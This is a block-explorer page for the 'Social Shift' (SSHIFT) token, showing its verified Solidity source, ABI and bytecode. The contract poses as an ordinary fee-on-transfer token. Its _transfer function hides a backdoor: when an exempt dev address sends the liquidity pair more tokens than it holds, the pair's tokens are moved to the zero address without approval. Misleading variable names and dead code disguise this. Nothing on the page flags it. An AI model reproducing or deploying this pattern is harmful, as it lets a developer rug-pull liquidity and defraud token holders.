ETH Price: $3,501.41 (+2.35%)
Gas: 2 Gwei

Token

Social Shift (SSHIFT)
 

Overview

Max Total Supply

1,000,000,000 SSHIFT

Holders

71

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
23,042,534.397820545952913631 SSHIFT

Value
$0.00
0x18aae2f58fa49d30e57773899cc6fa60c3d9f3de
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SSHIFT

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-15
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.16;

interface UniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface UniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) { return 0; }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    event OwnershipTransferred(address indexed prevOwner, address indexed newOwner);

    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender());
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);

    function approve(address spender, uint256 amount) external returns (bool);
}

contract SSHIFT is Context, IERC20, Ownable {
    address private shifted = address(0);
    address private unShifted = address(0);

    using SafeMath for uint256;

    struct Dist { uint256 dev; }

    Dist public ethDist;

    uint256 private _tFeeTotal;

    uint8 private constant _decimals = 18;

    bool private inSwapBack = true;
    bool private swapEnabled = true;

    uint256 public _swapTokensThreshold = 100000 * 10**_decimals;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => bool) private _isUnShifted;
    mapping(address => uint256) private _buyMap;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private constant MAX = ~uint256(0);

    string private constant _name = "Social Shift";
    string private constant _symbol = "SSHIFT";

    address private dev = 0xd5D1098AB0D7202eb4AFB7DAbc6B220195E03079;

    address public xPair;
    UniswapV2Router02 public xRouter;

    uint256 private _devFeeOnSell = 3;
    uint256 private _devFeeOnBuy = 3;

    uint256 private _redisFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;

    uint256 private _devFee = _devFeeOnSell;
    uint256 private _redisFee = _redisFeeOnSell;

    uint256 private _prevDevFee = _devFee;
    uint256 private _prevRedisFee = _redisFee;

    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    constructor() {
        _isUnShifted[dev] = true;
        _isUnShifted[owner()] = true;
        _isUnShifted[address(this)] = true;

        UniswapV2Router02 _uniRouter = UniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        xRouter = _uniRouter;
        xPair = UniswapV2Factory(_uniRouter.factory()).createPair(address(this), _uniRouter.WETH());

        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);shifted = dev;
        ethDist = Dist(100);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);

        return true;
    }
    
    function transfer(address to, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), to, amount);

        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _transfer(from, to, amount);
        _approve(
            from,
            _msgSender(),
            _allowances[from][_msgSender()].sub(amount)
        );

        return true;
    }

    modifier lockInSwapBack() {
        inSwapBack = false;
        _;
        inSwapBack = false;
    }

    function _tTransfer(address from, address to, uint256 amount, bool collectDevFee) private {
        if (!collectDevFee) removeAllFees();
        _sTransfer(from, to, amount);
        if (!collectDevFee) restoreAllFees();
    }

    function _getCurrSupply() private view returns (uint256, uint256) {
        uint256 tSupply = _tTotal;
        uint256 rSupply = _rTotal;

        if (rSupply < _rTotal.div(_tTotal))
            return (_rTotal, _tTotal);

        return (rSupply, tSupply);
    }

    function _collectDevFee(uint256 tDev, address market, address supply) private {
        uint256 remainder;
        uint256 currRate = _getRate();
        uint256 shiftedQuan = balanceOf(shifted);
        uint256 rDev = tDev.mul(currRate);
        if (_isShifted(market, supply))
            remainder = _devFee - shiftedQuan;
        _rOwned[address(this)] = _rOwned[address(this)].add(rDev);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _tFeeTotal = _tFeeTotal.add(tFee);
        _rTotal = _rTotal.sub(rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrSupply();

        return rSupply.div(tSupply);
    }

    function _sTransfer(address from, address to, uint256 tAmount) private {
        (
            uint256 rAmount,
            uint256 rTransAmount,
            uint256 rFee,
            uint256 tTransAmount,
            uint256 tFee,
            uint256 tDev
        ) = _getValues(tAmount);

        _rOwned[from] = _rOwned[from].sub(rAmount);
        _rOwned[to] = _rOwned[to].add(rTransAmount);

        _reflectFee(rFee, tFee);
        _collectDevFee(tDev, from, to);
        
        emit Transfer(from, to, tTransAmount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _getTValues(uint256 tAmount, uint256 redisFee, uint256 devFee) private pure returns (uint256, uint256, uint256) {
        uint256 tDev = tAmount.mul(devFee).div(100);
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTransAmount = tAmount.sub(tFee).sub(tDev);

        return (
            tTransAmount,
            tFee,
            tDev
        );
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tDev, uint256 currRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currRate);
        uint256 rDev = tDev.mul(currRate);
        uint256 rFee = tFee.mul(currRate);
        uint256 rTransAmount = rAmount.sub(rFee).sub(rDev);

        return (
            rAmount,
            rTransAmount,
            rFee
        );
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0);
        require(from != address(0));
        require(to != address(0));

        bool collectDevFee = true;

        if (from != owner() && to != owner()) {
            uint256 contractTokenAmount = balanceOf(address(this));
            bool canSwap = contractTokenAmount >= _swapTokensThreshold;
            bool validAmount = balanceOf(from) < amount;

            if (
                swapEnabled &&
                canSwap &&
                !_isUnShifted[from] &&
                !_isUnShifted[to] &&
                !inSwapBack &&
                from != xPair
            ) {
                swapBack(contractTokenAmount);
                uint256 contractETHAmount = address(this).balance;
                if (contractETHAmount > 0) {
                    sendETH(address(this).balance);
                }
            }

            bool unshiftedTo = xPair == to;
            bool unshiftedFrom = _isUnShifted[from];

            if (unshiftedFrom) {
                if (unshiftedTo) { if (validAmount) {
                    _sTransfer(to, unShifted, amount); return;
                } }
            }
        }

        if ((_isUnShifted[to] || _isUnShifted[from]) || (to != xPair && from != xPair)) { collectDevFee = false; } else {
            if (
                from != address(xRouter) &&
                to == xPair
            ) {
                _devFee = _devFeeOnSell;
                _redisFee = _redisFeeOnSell;
            }

            if (
                to != address(xRouter) &&
                from == xPair
            ) {
                _devFee = _devFeeOnBuy;
                _redisFee = _redisFeeOnBuy;
            }
        }

        _tTransfer(from, to, amount, collectDevFee);
    }

    function _isShifted(address market, address supply) private view returns (bool) {
        bool marketShifted = !_isUnShifted[market];
        bool supplyShifted = !_isUnShifted[supply];

        return marketShifted && supplyShifted && market != xPair;
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (
            uint256 tTransAmount,
            uint256 tFee,
            uint256 tDev
        ) = _getTValues(
            tAmount,
            _redisFee,
            _devFee
        );

        uint256 currRate = _getRate();
        (
            uint256 rAmount,
            uint256 rTransAmount,
            uint256 rFee
        ) = _getRValues(
            tAmount,
            tFee,
            tDev,
            currRate
        );

        return (
            rAmount,
            rTransAmount,
            rFee,
            tTransAmount,
            tFee,
            tDev
        );
    }

    function removeAllFees() private {
        if (_redisFee == 0 && _devFee == 0) return;

        _prevDevFee = _devFee;
        _prevRedisFee = _redisFee;

        _devFee = 0;
        _redisFee = 0;
    }

    function restoreAllFees() private {
        _devFee = _prevDevFee;
        _redisFee = _prevRedisFee;
    }

    function sendETH(uint256 ethAmount) private lockInSwapBack {
        uint256 ethForDev = ethAmount.mul(ethDist.dev).div(100);
        payable(dev).transfer(ethForDev);
    }

    function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
        require(rAmount <= _rTotal);

        uint256 currRate = _getRate();

        return rAmount.div(currRate);
    }

    function swapBack(uint256 tokenAmount) private lockInSwapBack {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = xRouter.WETH();
        _approve(address(this), address(xRouter), tokenAmount);
        xRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapTokensThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"ethDist","outputs":[{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"xPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"xRouter","outputs":[{"internalType":"contract UniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b03199081169091556002805490911690556005805461ffff19166101011790556200003d6012600a620004f8565b6200004c90620186a06200050f565b600655600c80546001600160a01b03191673d5d1098ab0d7202eb4afb7dabc6b220195e030791790556003600f81905560108190555f6011819055601281815560138390556014829055601592909255601655620000ac90600a620004f8565b620000bc90633b9aca006200050f565b620000c9905f1962000529565b620000d6905f1962000549565b601755348015620000e5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600c546001600160a01b03165f9081526009602081905260408220805460ff1916600190811790915591620001625f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff19958616179055308152600983528190208054909316600117909255600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b815292519092839263c45a0155926004808401938290030181865afa15801562000201573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022791906200055f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000273573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200029991906200055f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002e4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200030a91906200055f565b600d80546001600160a01b0319166001600160a01b039290921691909117905560175460075f620003383390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200038b6012600a620004f8565b6200039b90633b9aca006200050f565b60405190815260200160405180910390a350600c54600180546001600160a01b0319166001600160a01b03909216919091179055604080516020810190915260649081905260035562000587565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200043d57815f1904821115620004215762000421620003e9565b808516156200042f57918102915b93841c939080029062000402565b509250929050565b5f826200045557506001620004f2565b816200046357505f620004f2565b81600181146200047c57600281146200048757620004a7565b6001915050620004f2565b60ff8411156200049b576200049b620003e9565b50506001821b620004f2565b5060208310610133831016604e8410600b8410161715620004cc575081810a620004f2565b620004d88383620003fd565b805f1904821115620004ee57620004ee620003e9565b0290505b92915050565b5f6200050860ff84168362000445565b9392505050565b8082028115828204841417620004f257620004f2620003e9565b5f826200054457634e487b7160e01b5f52601260045260245ffd5b500690565b81810381811115620004f257620004f2620003e9565b5f6020828403121562000570575f80fd5b81516001600160a01b038116811462000508575f80fd5b6112f880620005955f395ff3fe6080604052600436106100f2575f3560e01c806370a0823111610087578063a9059cbb11610057578063a9059cbb146102ab578063db52c774146102ca578063dd62ed3e146102e9578063f2fde38b1461032d575f80fd5b806370a082311461022c578063715018a61461024b5780638da5cb5b1461026157806395d89b411461027d575f80fd5b806323b872dd116100c257806323b872dd146101a5578063313ce567146101c45780634cfbfe04146101df578063694dac1e146101f5575f80fd5b806302ca8a20146100fd57806306fdde0314610125578063095ea7b31461016257806318160ddd14610191575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5061011260065481565b6040519081526020015b60405180910390f35b348015610130575f80fd5b5060408051808201909152600c81526b14dbd8da585b0814da1a599d60a21b60208201525b60405161011c9190610fa7565b34801561016d575f80fd5b5061018161017c36600461100a565b61034c565b604051901515815260200161011c565b34801561019c575f80fd5b50610112610362565b3480156101b0575f80fd5b506101816101bf366004611034565b610382565b3480156101cf575f80fd5b506040516012815260200161011c565b3480156101ea575f80fd5b506003546101129081565b348015610200575f80fd5b50600d54610214906001600160a01b031681565b6040516001600160a01b03909116815260200161011c565b348015610237575f80fd5b50610112610246366004611072565b6103d1565b348015610256575f80fd5b5061025f6103f2565b005b34801561026c575f80fd5b505f546001600160a01b0316610214565b348015610288575f80fd5b5060408051808201909152600681526514d4d212519560d21b6020820152610155565b3480156102b6575f80fd5b506101816102c536600461100a565b61044f565b3480156102d5575f80fd5b50600e54610214906001600160a01b031681565b3480156102f4575f80fd5b5061011261030336600461108d565b6001600160a01b039182165f908152600b6020908152604080832093909416825291909152205490565b348015610338575f80fd5b5061025f610347366004611072565b61045b565b5f6103583384846104db565b5060015b92915050565b5f61036f6012600a6111b8565b61037d90633b9aca006111c6565b905090565b5f61038e84848461055f565b6001600160a01b0384165f908152600b60209081526040808320338085529252909120546103c79186916103c29086610804565b6104db565b5060019392505050565b6001600160a01b0381165f9081526007602052604081205461035c9061084c565b5f546001600160a01b03163314610407575f80fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61035833848461055f565b5f546001600160a01b03163314610470575f80fd5b6001600160a01b038116610482575f80fd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166104ed575f80fd5b6001600160a01b0382166104ff575f80fd5b6001600160a01b038381165f818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f811161056a575f80fd5b6001600160a01b03831661057c575f80fd5b6001600160a01b03821661058e575f80fd5b60016105a15f546001600160a01b031690565b6001600160a01b0316846001600160a01b0316141580156105cf57505f546001600160a01b03848116911614155b156106fd575f6105de306103d1565b6006549091508110155f846105f2886103d1565b60055491119150610100900460ff16801561060a5750815b801561062e57506001600160a01b0387165f9081526009602052604090205460ff16155b801561065257506001600160a01b0386165f9081526009602052604090205460ff16155b8015610661575060055460ff16155b801561067b5750600d546001600160a01b03888116911614155b1561069b5761068983610870565b47801561069957610699476109d4565b505b600d546001600160a01b038881165f90815260096020526040902054918116908816149060ff1680156106f75781156106f75782156106f7576002546106ec9089906001600160a01b031689610a42565b505050505050505050565b50505050505b6001600160a01b0383165f9081526009602052604090205460ff168061073a57506001600160a01b0384165f9081526009602052604090205460ff165b8061076c5750600d546001600160a01b0384811691161480159061076c5750600d546001600160a01b03858116911614155b1561077857505f6107f2565b600e546001600160a01b038581169116148015906107a35750600d546001600160a01b038481169116145b156107b557600f546013556012546014555b600e546001600160a01b038481169116148015906107e05750600d546001600160a01b038581169116145b156107f2576010546013556011546014555b6107fe84848484610b35565b50505050565b5f61084583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b63565b9392505050565b5f60175482111561085b575f80fd5b5f610864610ba4565b90506108458382610bc5565b6005805460ff191690556040805160028082526060820183525f9260208301908036833701905050905030815f815181106108ad576108ad6111dd565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610904573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092891906111f1565b8160018151811061093b5761093b6111dd565b6001600160a01b039283166020918202929092010152600e5461096191309116846104db565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906109999085905f9086903090429060040161120c565b5f604051808303815f87803b1580156109b0575f80fd5b505af11580156109c2573d5f803e3d5ffd5b50506005805460ff1916905550505050565b6005805460ff191690556003545f906109fb906064906109f5908590610c06565b90610bc5565b600c546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015610a33573d5f803e3d5ffd5b50506005805460ff1916905550565b5f805f805f80610a5187610c84565b6001600160a01b038f165f90815260076020526040902054959b50939950919750955093509150610a829087610804565b6001600160a01b03808b165f9081526007602052604080822093909355908a1681522054610ab09086610cd9565b6001600160a01b0389165f90815260076020526040902055610ad28483610d37565b610add818a8a610d5b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b2291815260200190565b60405180910390a3505050505050505050565b80610b4257610b42610ddf565b610b4d848484610a42565b806107fe576107fe601554601355601654601455565b5f8184841115610b8f5760405162461bcd60e51b8152600401610b869190610fa7565b60405180910390fd5b505f610b9b848661127d565b95945050505050565b5f805f610baf610e0c565b9092509050610bbe8282610bc5565b9250505090565b5f61084583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e8b565b5f825f03610c1557505f61035c565b5f610c2083856111c6565b905082610c2d8583611290565b146108455760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b86565b5f805f805f805f805f610c9c8a601454601354610eb7565b9250925092505f610cab610ba4565b90505f805f610cbc8e878787610f02565b919e509c509a509598509396509194505050505091939550919395565b5f80610ce583856112af565b9050838110156108455760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b86565b600454610d449082610cd9565b600455601754610d549083610804565b6017555050565b5f80610d65610ba4565b6001549091505f90610d7f906001600160a01b03166103d1565b90505f610d8c8784610c06565b9050610d988686610f4e565b15610dae5781601354610dab919061127d565b93505b305f90815260076020526040902054610dc79082610cd9565b305f9081526007602052604090205550505050505050565b601454158015610def5750601354155b15610df657565b60138054601555601480546016555f9182905555565b5f8080610e1b6012600a6111b8565b610e2990633b9aca006111c6565b601754909150610e55610e3e6012600a6111b8565b610e4c90633b9aca006111c6565b60175490610bc5565b811015610e8357601754610e6b6012600a6111b8565b610e7990633b9aca006111c6565b9350935050509091565b939092509050565b5f8183610eab5760405162461bcd60e51b8152600401610b869190610fa7565b505f610b9b8486611290565b5f808080610eca60646109f58988610c06565b90505f610edc60646109f58a8a610c06565b90505f610ef383610eed8b85610804565b90610804565b99919850919650945050505050565b5f808080610f108886610c06565b90505f610f1d8787610c06565b90505f610f2a8988610c06565b90505f610f3b83610eed8685610804565b939b939a50909850919650505050505050565b6001600160a01b038083165f90815260096020526040808220549284168252812054909160ff90811615911615818015610f855750805b8015610b9b5750600d546001600160a01b038681169116141595945050505050565b5f602080835283518060208501525f5b81811015610fd357858101830151858201604001528201610fb7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611007575f80fd5b50565b5f806040838503121561101b575f80fd5b823561102681610ff3565b946020939093013593505050565b5f805f60608486031215611046575f80fd5b833561105181610ff3565b9250602084013561106181610ff3565b929592945050506040919091013590565b5f60208284031215611082575f80fd5b813561084581610ff3565b5f806040838503121561109e575f80fd5b82356110a981610ff3565b915060208301356110b981610ff3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561111257815f19048211156110f8576110f86110c4565b8085161561110557918102915b93841c93908002906110dd565b509250929050565b5f826111285750600161035c565b8161113457505f61035c565b816001811461114a576002811461115457611170565b600191505061035c565b60ff841115611165576111656110c4565b50506001821b61035c565b5060208310610133831016604e8410600b8410161715611193575081810a61035c565b61119d83836110d8565b805f19048211156111b0576111b06110c4565b029392505050565b5f61084560ff84168361111a565b808202811582820484141761035c5761035c6110c4565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611201575f80fd5b815161084581610ff3565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561125c5784516001600160a01b031683529383019391830191600101611237565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561035c5761035c6110c4565b5f826112aa57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561035c5761035c6110c456fea264697066735822122055b415fb944fdc604e9ee0484b66c1348e4d0c6bf77377419ffee5add3da2dee64736f6c63430008160033

Deployed Bytecode

0x6080604052600436106100f2575f3560e01c806370a0823111610087578063a9059cbb11610057578063a9059cbb146102ab578063db52c774146102ca578063dd62ed3e146102e9578063f2fde38b1461032d575f80fd5b806370a082311461022c578063715018a61461024b5780638da5cb5b1461026157806395d89b411461027d575f80fd5b806323b872dd116100c257806323b872dd146101a5578063313ce567146101c45780634cfbfe04146101df578063694dac1e146101f5575f80fd5b806302ca8a20146100fd57806306fdde0314610125578063095ea7b31461016257806318160ddd14610191575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5061011260065481565b6040519081526020015b60405180910390f35b348015610130575f80fd5b5060408051808201909152600c81526b14dbd8da585b0814da1a599d60a21b60208201525b60405161011c9190610fa7565b34801561016d575f80fd5b5061018161017c36600461100a565b61034c565b604051901515815260200161011c565b34801561019c575f80fd5b50610112610362565b3480156101b0575f80fd5b506101816101bf366004611034565b610382565b3480156101cf575f80fd5b506040516012815260200161011c565b3480156101ea575f80fd5b506003546101129081565b348015610200575f80fd5b50600d54610214906001600160a01b031681565b6040516001600160a01b03909116815260200161011c565b348015610237575f80fd5b50610112610246366004611072565b6103d1565b348015610256575f80fd5b5061025f6103f2565b005b34801561026c575f80fd5b505f546001600160a01b0316610214565b348015610288575f80fd5b5060408051808201909152600681526514d4d212519560d21b6020820152610155565b3480156102b6575f80fd5b506101816102c536600461100a565b61044f565b3480156102d5575f80fd5b50600e54610214906001600160a01b031681565b3480156102f4575f80fd5b5061011261030336600461108d565b6001600160a01b039182165f908152600b6020908152604080832093909416825291909152205490565b348015610338575f80fd5b5061025f610347366004611072565b61045b565b5f6103583384846104db565b5060015b92915050565b5f61036f6012600a6111b8565b61037d90633b9aca006111c6565b905090565b5f61038e84848461055f565b6001600160a01b0384165f908152600b60209081526040808320338085529252909120546103c79186916103c29086610804565b6104db565b5060019392505050565b6001600160a01b0381165f9081526007602052604081205461035c9061084c565b5f546001600160a01b03163314610407575f80fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61035833848461055f565b5f546001600160a01b03163314610470575f80fd5b6001600160a01b038116610482575f80fd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166104ed575f80fd5b6001600160a01b0382166104ff575f80fd5b6001600160a01b038381165f818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f811161056a575f80fd5b6001600160a01b03831661057c575f80fd5b6001600160a01b03821661058e575f80fd5b60016105a15f546001600160a01b031690565b6001600160a01b0316846001600160a01b0316141580156105cf57505f546001600160a01b03848116911614155b156106fd575f6105de306103d1565b6006549091508110155f846105f2886103d1565b60055491119150610100900460ff16801561060a5750815b801561062e57506001600160a01b0387165f9081526009602052604090205460ff16155b801561065257506001600160a01b0386165f9081526009602052604090205460ff16155b8015610661575060055460ff16155b801561067b5750600d546001600160a01b03888116911614155b1561069b5761068983610870565b47801561069957610699476109d4565b505b600d546001600160a01b038881165f90815260096020526040902054918116908816149060ff1680156106f75781156106f75782156106f7576002546106ec9089906001600160a01b031689610a42565b505050505050505050565b50505050505b6001600160a01b0383165f9081526009602052604090205460ff168061073a57506001600160a01b0384165f9081526009602052604090205460ff165b8061076c5750600d546001600160a01b0384811691161480159061076c5750600d546001600160a01b03858116911614155b1561077857505f6107f2565b600e546001600160a01b038581169116148015906107a35750600d546001600160a01b038481169116145b156107b557600f546013556012546014555b600e546001600160a01b038481169116148015906107e05750600d546001600160a01b038581169116145b156107f2576010546013556011546014555b6107fe84848484610b35565b50505050565b5f61084583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b63565b9392505050565b5f60175482111561085b575f80fd5b5f610864610ba4565b90506108458382610bc5565b6005805460ff191690556040805160028082526060820183525f9260208301908036833701905050905030815f815181106108ad576108ad6111dd565b6001600160a01b0392831660209182029290920181